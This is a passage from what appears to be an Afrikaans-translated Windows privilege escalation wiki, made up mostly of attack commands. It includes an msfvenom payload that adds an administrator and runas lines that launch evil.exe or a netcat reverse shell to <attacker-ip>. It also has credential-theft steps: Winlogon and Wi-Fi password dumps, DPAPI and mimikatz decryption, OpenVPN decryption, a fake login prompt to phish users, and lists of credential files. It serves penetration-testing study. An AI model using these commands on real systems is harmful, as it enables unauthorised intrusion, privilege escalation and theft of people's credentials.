# Using PowerUp.ps1
|
||
Get-ServiceUnquoted -Verbose
|
||
```
|
||
|
||
```bash
|
||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
|
||
)
|
||
)
|
||
```
|
||
|
||
```bash
|
||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||
```
|
||
**Jy kan hierdie kwesbaarheid opspoor en benut** met metasploit: `exploit/windows/local/trusted\_service\_path` Jy kan handmatig 'n diens-binary met metasploit skep:
|
||
```bash
|
||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
||
```
|
||
### Herstelaksies
|
||
|
||
Windows laat gebruikers toe om aksies spesifiek aan te dui wat geneem moet word as 'n diens misluk. Hierdie funksie kan geconfigureer word om na 'n binêre te verwys. As hierdie binêre vervangbaar is, mag privilige-escalasie moontlik wees. Meer besonderhede kan gevind word in die [amptelike dokumentasie](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||
|
||
## Toepassings
|
||
|
||
### Gemonteerde Toepassings
|
||
|
||
Kontroleer **toestemmings van die binêre** (miskien kan jy een oorskryf en privilige verhoog) en van die **mappies** ([DLL Hijacking](dll-hijacking/index.html)).
|
||
```bash
|
||
dir /a "C:\Program Files"
|
||
dir /a "C:\Program Files (x86)"
|
||
reg query HKEY_LOCAL_MACHINE\SOFTWARE
|
||
|
||
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
|
||
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||
```
|
||
### Skryf Toestemmings
|
||
|
||
Kyk of jy 'n konfigurasie-lêer kan wysig om 'n spesiale lêer te lees of of jy 'n binêre lêer kan wysig wat deur 'n Administrateur-rekening (schedtasks) uitgevoer gaan word.
|
||
|
||
'n Manier om swak vouer/lêer toestemmings in die stelsel te vind, is om te doen:
|
||
```bash
|
||
accesschk.exe /accepteula
|
||
# Find all weak folder permissions per drive.
|
||
accesschk.exe -uwdqs Users c:\
|
||
accesschk.exe -uwdqs "Authenticated Users" c:\
|
||
accesschk.exe -uwdqs "Everyone" c:\
|
||
# Find all weak file permissions per drive.
|
||
accesschk.exe -uwqs Users c:\*.*
|
||
accesschk.exe -uwqs "Authenticated Users" c:\*.*
|
||
accesschk.exe -uwdqs "Everyone" c:\*.*
|
||
```
|
||
|
||
```bash
|
||
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
|
||
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
|
||
```
|
||
|
||
```bash
|
||
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
|
||
|
||
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
|
||
```
|
||
### Begin by opstart
|
||
|
||
**Kyk of jy 'n registrasie of binêre kan oorskryf wat deur 'n ander gebruiker uitgevoer gaan word.**\
|
||
**Lees** die **volgende bladsy** om meer te leer oor interessante **autostart plekke om voorregte te verhoog**:
|
||
|
||
{{#ref}}
|
||
privilege-escalation-with-autorun-binaries.md
|
||
{{#endref}}
|
||
|
||
### Bestuurders
|
||
|
||
Soek na moontlike **derdeparty vreemde/kwesbare** bestuurders
|
||
```bash
|
||
driverquery
|
||
driverquery.exe /fo table
|
||
driverquery /SI
|
||
```
|
||
## PATH DLL Hijacking
|
||
|
||
As jy **skryfreëls binne 'n gids op PATH** het, kan jy dalk 'n DLL wat deur 'n proses gelaai word, oorneem en **privileges verhoog**.
|
||
|
||
Kontroleer die regte van alle gidse binne PATH:
|
||
```bash
|
||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||
```
|
||
Vir meer inligting oor hoe om hierdie kontrole te misbruik:
|
||
|
||
{{#ref}}
|
||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||
{{#endref}}
|
||
|
||
## Netwerk
|
||
|
||
### Aandele
|
||
```bash
|
||
net view #Get a list of computers
|
||
net view /all /domain [domainname] #Shares on the domains
|
||
net view \\computer /ALL #List shares of a computer
|
||
net use x: \\computer\share #Mount the share locally
|
||
net share #Check current shares
|
||
```
|
||
### hosts file
|
||
|
||
Kyk vir ander bekende rekenaars wat hardgecodeer is op die hosts-lêer
|
||
```
|
||
type C:\Windows\System32\drivers\etc\hosts
|
||
```
|
||
### Netwerk Interfaces & DNS
|
||
```
|
||
ipconfig /all
|
||
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
|
||
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
|
||
```
|
||
### Oopende Poorte
|
||
|
||
Kyk vir **beperkte dienste** van buite
|
||
```bash
|
||
netstat -ano #Opened ports?
|
||
```
|
||
### Routeringstabel
|
||
```
|
||
route print
|
||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
|
||
```
|
||
### ARP Tabel
|
||
```
|
||
arp -A
|
||
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||
```
|
||
### Vuurmuur Reëls
|
||
|
||
[**Kyk na hierdie bladsy vir Vuurmuur verwante opdragte**](../basic-cmd-for-pentesters.md#firewall) **(lys reëls, skep reëls, skakel af, skakel af...)**
|
||
|
||
Meer[ opdragte vir netwerk enumerasie hier](../basic-cmd-for-pentesters.md#network)
|
||
|
||
### Windows Subsystem vir Linux (wsl)
|
||
```bash
|
||
C:\Windows\System32\bash.exe
|
||
C:\Windows\System32\wsl.exe
|
||
```
|
||
Binêre `bash.exe` kan ook gevind word in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
|
||
|
||
As jy root gebruiker kry, kan jy op enige poort luister (die eerste keer wat jy `nc.exe` gebruik om op 'n poort te luister, sal dit via GUI vra of `nc` deur die firewall toegelaat moet word).
|
||
```bash
|
||
wsl whoami
|
||
./ubuntun1604.exe config --default-user root
|
||
wsl whoami
|
||
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
||
```
|
||
Om maklik bash as root te begin, kan jy probeer `--default-user root`
|
||
|
||
Jy kan die `WSL` lêerstelsel in die gids `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` verken
|
||
|
||
## Windows Kredensiale
|
||
|
||
### Winlogon Kredensiale
|
||
```bash
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||
|
||
#Other way
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
|
||
```
|
||
### Kredensiaalbestuurder / Windows-kluis
|
||
|
||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||
Die Windows-kluis stoor gebruikerskredensiale vir bedieners, webwerwe en ander programme wat **Windows** kan **gebruik om die gebruikers outomaties aan te meld**. Op die eerste oogopslag mag dit lyk asof gebruikers hul Facebook-kredensiale, Twitter-kredensiale, Gmail-kredensiale ens. kan stoor, sodat hulle outomaties via blaaiers aanmeld. Maar dit is nie so nie.
|
||
|
||
Windows-kluis stoor kredensiale wat Windows kan gebruik om die gebruikers outomaties aan te meld, wat beteken dat enige **Windows-toepassing wat kredensiale benodig om toegang tot 'n hulpbron** (bediener of 'n webwerf) **hierdie Kredensiaalbestuurder** & Windows-kluis kan gebruik en die verskafde kredensiale kan gebruik in plaas daarvan dat gebruikers die gebruikersnaam en wagwoord heeltyd invoer.
|
||
|
||
Tensy die toepassings met die Kredensiaalbestuurder kommunikeer, dink ek nie dit is moontlik vir hulle om die kredensiale vir 'n gegewe hulpbron te gebruik nie. So, as jou toepassing die kluis wil gebruik, moet dit op een of ander manier **met die kredensiaalbestuurder kommunikeer en die kredensiale vir daardie hulpbron** van die standaardopbergkluis aan vra.
|
||
|
||
Gebruik die `cmdkey` om die gestoor kredensiale op die masjien te lys.
|
||
```bash
|
||
cmdkey /list
|
||
Currently stored credentials:
|
||
Target: Domain:interactive=WORKGROUP\Administrator
|
||
Type: Domain Password
|
||
User: WORKGROUP\Administrator
|
||
```
|
||
Dan kan jy `runas` met die `/savecred` opsies gebruik om die gestoor geloofsbriewe te gebruik. Die volgende voorbeeld roep 'n afstandlike binêre aan via 'n SMB-aandeel.
|
||
```bash
|
||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||
```
|
||
Gebruik `runas` met 'n verskafde stel geloofsbriewe.
|
||
```bash
|
||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||
```
|
||
Let wel dat mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), of van [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
|
||
|
||
### DPAPI
|
||
|
||
Die **Data Protection API (DPAPI)** bied 'n metode vir simmetriese versleuteling van data, wat hoofsaaklik binne die Windows-bedryfstelsel gebruik word vir die simmetriese versleuteling van asimmetriese privaat sleutels. Hierdie versleuteling maak gebruik van 'n gebruiker of stelsels geheim om aansienlik by te dra tot entropie.
|
||
|
||
**DPAPI stel die versleuteling van sleutels in staat deur 'n simmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime**. In scenario's wat stelsels versleuteling betrek, gebruik dit die stelsels domeinverifikasie geheime.
|
||
|
||
Versleutelde gebruiker RSA sleutels, deur gebruik te maak van DPAPI, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) verteenwoordig. **Die DPAPI-sleutel, wat saam met die meester sleutel wat die gebruiker se privaat sleutels in dieselfde lêer beskerm, geleë is**, bestaan tipies uit 64 bytes van ewekansige data. (Dit is belangrik om te noem dat toegang tot hierdie gids beperk is, wat verhoed dat die inhoud daarvan gelys kan word via die `dir` opdrag in CMD, alhoewel dit deur PowerShell gelys kan word).
|
||
```bash
|
||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||
```
|
||
U kan die **mimikatz module** `dpapi::masterkey` met die toepaslike argumente (`/pvk` of `/rpc`) gebruik om dit te ontsleutel.
|
||
|
||
Die **geloofsbriewe lêers wat deur die meester wagwoord beskerm word** is gewoonlik geleë in:
|
||
```bash
|
||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||
```
|
||
U kan die **mimikatz module** `dpapi::cred` met die toepaslike `/masterkey` gebruik om te dekripteer.\
|
||
U kan **baie DPAPI** **masterkeys** uit **geheue** onttrek met die `sekurlsa::dpapi` module (as u root is).
|
||
|
||
{{#ref}}
|
||
dpapi-extracting-passwords.md
|
||
{{#endref}}
|
||
|
||
### PowerShell Kredensiale
|
||
|
||
**PowerShell kredensiale** word dikwels gebruik vir **scripting** en outomatisering take as 'n manier om versleutelde kredensiale gerieflik te stoor. Die kredensiale word beskerm met **DPAPI**, wat tipies beteken dat dit slegs deur dieselfde gebruiker op dieselfde rekenaar waar dit geskep is, gedekript kan word.
|
||
|
||
Om 'n PS kredensiaal uit die lêer wat dit bevat te **dekripteer**, kan u doen:
|
||
```bash
|
||
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
|
||
PS C:\> $credential.GetNetworkCredential().username
|
||
|
||
john
|
||
|
||
PS C:\htb> $credential.GetNetworkCredential().password
|
||
|
||
JustAPWD!
|
||
```
|
||
### Wifi
|
||
```bash
|
||
#List saved Wifi using
|
||
netsh wlan show profile
|
||
#To get the clear-text password use
|
||
netsh wlan show profile <SSID> key=clear
|
||
#Oneliner to extract all wifi passwords
|
||
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
|
||
```
|
||
### Gesteekte RDP Verbindinge
|
||
|
||
Jy kan hulle vind op `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
|
||
en in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
|
||
|
||
### Onlangs Geloopde Opdragte
|
||
```
|
||
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||
```
|
||
### **Afgeleë Desktop Kredensiaal Bestuurder**
|
||
```
|
||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||
```
|
||
Gebruik die **Mimikatz** `dpapi::rdg` module met die toepaslike `/masterkey` om **enige .rdg lêers** te **dekripteer**\
|
||
Jy kan **baie DPAPI masterkeys** uit geheue onttrek met die Mimikatz `sekurlsa::dpapi` module
|
||
|
||
### Sticky Notes
|
||
|
||
Mense gebruik dikwels die StickyNotes-app op Windows werkstasies om **wagwoorde** en ander inligting te **stoor**, sonder om te besef dit is 'n databasislêer. Hierdie lêer is geleë by `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` en is altyd die moeite werd om te soek en te ondersoek.
|
||
|
||
### AppCmd.exe
|
||
|
||
**Let daarop dat jy Administrator moet wees en onder 'n Hoë Integriteit vlak moet loop om wagwoorde van AppCmd.exe te herstel.**\
|
||
**AppCmd.exe** is geleë in die `%systemroot%\system32\inetsrv\` gids.\
|
||
As hierdie lêer bestaan, dan is dit moontlik dat sommige **akkrediteer** geconfigureer is en kan **herstel** word.
|
||
|
||
Hierdie kode is onttrek uit [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||
```bash
|
||
function Get-ApplicationHost {
|
||
$OrigError = $ErrorActionPreference
|
||
$ErrorActionPreference = "SilentlyContinue"
|
||
|
||
# Check if appcmd.exe exists
|
||
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
|
||
# Create data table to house results
|
||
$DataTable = New-Object System.Data.DataTable
|
||
|
||
# Create and name columns in the data table
|
||
$Null = $DataTable.Columns.Add("user")
|
||
$Null = $DataTable.Columns.Add("pass")
|
||
$Null = $DataTable.Columns.Add("type")
|
||
$Null = $DataTable.Columns.Add("vdir")
|
||
$Null = $DataTable.Columns.Add("apppool")
|
||
|
||
# Get list of application pools
|
||
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
|
||
|
||
# Get application pool name
|
||
$PoolName = $_
|
||
|
||
# Get username
|
||
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
|
||
$PoolUser = Invoke-Expression $PoolUserCmd
|
||
|
||
# Get password
|
||
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
|
||
$PoolPassword = Invoke-Expression $PoolPasswordCmd
|
||
|
||
# Check if credentials exists
|
||
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
|
||
# Add credentials to database
|
||
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
|
||
}
|
||
}
|
||
|
||
# Get list of virtual directories
|
||
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
|
||
|
||
# Get Virtual Directory Name
|
||
$VdirName = $_
|
||
|
||
# Get username
|
||
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
|
||
$VdirUser = Invoke-Expression $VdirUserCmd
|
||
|
||
# Get password
|
||
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
|
||
$VdirPassword = Invoke-Expression $VdirPasswordCmd
|
||
|
||
# Check if credentials exists
|
||
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
|
||
# Add credentials to database
|
||
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
|
||
}
|
||
}
|
||
|
||
# Check if any passwords were found
|
||
if( $DataTable.rows.Count -gt 0 ) {
|
||
# Display results in list view that can feed into the pipeline
|
||
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
|
||
}
|
||
else {
|
||
# Status user
|
||
Write-Verbose 'No application pool or virtual directory passwords were found.'
|
||
$False
|
||
}
|
||
}
|
||
else {
|
||
Write-Verbose 'Appcmd.exe does not exist in the default location.'
|
||
$False
|
||
}
|
||
$ErrorActionPreference = $OrigError
|
||
}
|
||
```
|
||
### SCClient / SCCM
|
||
|
||
Kontroleer of `C:\Windows\CCM\SCClient.exe` bestaan.\
|
||
Installeerders word **met SYSTEM-regte** uitgevoer, baie is kwesbaar vir **DLL Sideloading (Inligting van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||
```bash
|
||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||
if ($result) { $result }
|
||
else { Write "Not Installed." }
|
||
```
|
||
## Lêers en Registrasie (Geloofsbriewe)
|
||
|
||
### Putty Geloofsbriewe
|
||
```bash
|
||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||
```
|
||
### Putty SSH Gashere Sleutels
|
||
```
|
||
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
||
```
|
||
### SSH sleutels in register
|
||
|
||
SSH privaat sleutels kan binne die register sleutel `HKCU\Software\OpenSSH\Agent\Keys` gestoor word, so jy moet kyk of daar iets interessant daarin is:
|
||
```bash
|
||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||
```
|
||
As jy enige inskrywing binne daardie pad vind, sal dit waarskynlik 'n gestoor SSH-sleutel wees. Dit is versleuteld gestoor, maar kan maklik ontcijfer word met behulp van [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||
Meer inligting oor hierdie tegniek hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||
|
||
As die `ssh-agent` diens nie loop nie en jy wil hê dit moet outomaties by opstart begin, voer in:
|
||
```bash
|
||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||
```
|
||
> [!NOTE]
|
||
> Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh sleutels te skep, hulle by te voeg met `ssh-add` en via ssh na 'n masjien in te log. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asimmetriese sleutelverifikasie geïdentifiseer nie.
|
||
|
||
### Onbeheerde lêers
|
||
```
|
||
C:\Windows\sysprep\sysprep.xml
|
||
C:\Windows\sysprep\sysprep.inf
|
||
C:\Windows\sysprep.inf
|
||
C:\Windows\Panther\Unattended.xml
|
||
C:\Windows\Panther\Unattend.xml
|
||
C:\Windows\Panther\Unattend\Unattend.xml
|
||
C:\Windows\Panther\Unattend\Unattended.xml
|
||
C:\Windows\System32\Sysprep\unattend.xml
|
||
C:\Windows\System32\Sysprep\unattended.xml
|
||
C:\unattend.txt
|
||
C:\unattend.inf
|
||
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
|
||
```
|
||
U kan ook na hierdie lêers soek met **metasploit**: _post/windows/gather/enum_unattend_
|
||
```xml
|
||
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
|
||
<AutoLogon>
|
||
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
|
||
<Enabled>true</Enabled>
|
||
<Username>Administrateur</Username>
|
||
</AutoLogon>
|
||
|
||
<UserAccounts>
|
||
<LocalAccounts>
|
||
<LocalAccount wcm:action="add">
|
||
<Password>*SENSITIVE*DATA*DELETED*</Password>
|
||
<Group>administrators;users</Group>
|
||
<Name>Administrateur</Name>
|
||
</LocalAccount>
|
||
</LocalAccounts>
|
||
</UserAccounts>
|
||
```
|
||
### SAM & SYSTEM rugsteun
|
||
```bash
|
||
# Usually %SYSTEMROOT% = C:\Windows
|
||
%SYSTEMROOT%\repair\SAM
|
||
%SYSTEMROOT%\System32\config\RegBack\SAM
|
||
%SYSTEMROOT%\System32\config\SAM
|
||
%SYSTEMROOT%\repair\system
|
||
%SYSTEMROOT%\System32\config\SYSTEM
|
||
%SYSTEMROOT%\System32\config\RegBack\system
|
||
```
|
||
### Wolk Kredensiale
|
||
```bash
|
||
#From user home
|
||
.aws\credentials
|
||
AppData\Roaming\gcloud\credentials.db
|
||
AppData\Roaming\gcloud\legacy_credentials
|
||
AppData\Roaming\gcloud\access_tokens.db
|
||
.azure\accessTokens.json
|
||
.azure\azureProfile.json
|
||
```
|
||
### McAfee SiteList.xml
|
||
|
||
Soek vir 'n lêer genaamd **SiteList.xml**
|
||
|
||
### Gekapte GPP Wagwoord
|
||
|
||
'n Kenmerk was voorheen beskikbaar wat die ontplooiing van pasgemaakte plaaslike administrateur rekeninge op 'n groep masjiene via Groep Beleid Voorkeure (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsfoute gehad. Eerstens, die Groep Beleid Objekte (GPO's), gestoor as XML-lêers in SYSVOL, kon deur enige domein gebruiker toegang verkry word. Tweedens, die wagwoorde binne hierdie GPP's, geënkripteer met AES256 met 'n publiek gedokumenteerde standaard sleutel, kon deur enige geverifieerde gebruiker ontcijfer word. Dit het 'n ernstige risiko ingehou, aangesien dit gebruikers in staat kon stel om verhoogde bevoegdhede te verkry.
|
||
|
||
Om hierdie risiko te verminder, is 'n funksie ontwikkel om te skandeer vir plaaslik gekapte GPP-lêers wat 'n "cpassword" veld bevat wat nie leeg is nie. Wanneer so 'n lêer gevind word, ontcijfer die funksie die wagwoord en keer 'n pasgemaakte PowerShell objek terug. Hierdie objek sluit besonderhede oor die GPP en die lêer se ligging in, wat help met die identifisering en herstel van hierdie sekuriteitskwesbaarheid.
|
||
|
||
Soek in `C:\ProgramData\Microsoft\Group Policy\history` of in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (voor W Vista)_ vir hierdie lêers:
|
||
|
||
- Groups.xml
|
||
- Services.xml
|
||
- Scheduledtasks.xml
|
||
- DataSources.xml
|
||
- Printers.xml
|
||
- Drives.xml
|
||
|
||
**Om die cPassword te ontcijfer:**
|
||
```bash
|
||
#To decrypt these passwords you can decrypt it using
|
||
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
|
||
```
|
||
Gebruik crackmapexec om die wagwoorde te verkry:
|
||
```bash
|
||
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
|
||
```
|
||
### IIS Web Config
|
||
```bash
|
||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
|
||
```bash
|
||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
|
||
C:\inetpub\wwwroot\web.config
|
||
```
|
||
|
||
```bash
|
||
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
Voorbeeld van web.config met geloofsbriewe:
|
||
```xml
|
||
<authentication mode="Forms">
|
||
<forms name="login" loginUrl="/admin">
|
||
<credentials passwordFormat = "Clear">
|
||
<user name="Administrator" password="SuperAdminPassword" />
|
||
</credentials>
|
||
</forms>
|
||
</authentication>
|
||
```
|
||
### OpenVPN geloofsbriewe
|
||
```csharp
|
||
Add-Type -AssemblyName System.Security
|
||
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
|
||
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
|
||
|
||
foreach ($item in $items)
|
||
{
|
||
$encryptedbytes=$item.'auth-data'
|
||
$entropy=$item.'entropy'
|
||
$entropy=$entropy[0..(($entropy.Length)-2)]
|
||
|
||
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
|
||
$encryptedBytes,
|
||
$entropy,
|
||
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
|
||
|
||
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
|
||
}
|
||
```
|
||
### Logs
|
||
```bash
|
||
# IIS
|
||
C:\inetpub\logs\LogFiles\*
|
||
|
||
#Apache
|
||
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
|
||
```
|
||
### Vra vir geloofsbriewe
|
||
|
||
Jy kan altyd **die gebruiker vra om sy geloofsbriewe in te voer of selfs die geloofsbriewe van 'n ander gebruiker** as jy dink hy kan dit weet (let op dat **om** die kliënt direk vir die **geloofsbriewe** te **vra** regtig **riskant** is):
|
||
```bash
|
||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||
|
||
#Get plaintext
|
||
$cred.GetNetworkCredential() | fl
|
||
```
|
||
### **Mogelijke lêrnamen wat akrediteerbesonderhede bevat**
|
||
|
||
Bekende lêrs wat 'n tyd gelede **wagwoorde** in **duidelike teks** of **Base64** bevat het
|
||
```bash
|
||
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
|
||
vnc.ini, ultravnc.ini, *vnc*
|
||
web.config
|
||
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
|
||
SiteList.xml #McAfee
|
||
ConsoleHost_history.txt #PS-History
|
||
*.gpg
|
||
*.pgp
|
||
*config*.php
|
||
elasticsearch.y*ml
|
||
kibana.y*ml
|
||
*.p12
|
||
*.der
|
||
*.csr
|
||
*.cer
|
||
known_hosts
|
||
id_rsa
|
||
id_dsa
|
||
*.ovpn
|
||
anaconda-ks.cfg
|
||
hostapd.conf
|
||
rsyncd.conf
|
||
cesi.conf
|
||
supervisord.conf
|
||
tomcat-users.xml
|
||
*.kdbx
|
||
KeePass.config
|
||
Ntds.dit
|
||
SAM
|
||
SYSTEM
|
||
FreeSSHDservice.ini
|
||
access.log
|
||
error.log
|
||
server.xml
|
||
ConsoleHost_history.txt
|
||
setupinfo
|
||
setupinfo.bak
|
||
key3.db #Firefox
|
||
key4.db #Firefox
|
||
places.sqlite #Firefox
|
||
"Login Data" #Chrome
|
||
Cookies #Chrome
|
||
Bookmarks #Chrome
|
||
History #Chrome
|
||
TypedURLsTime #IE
|
||
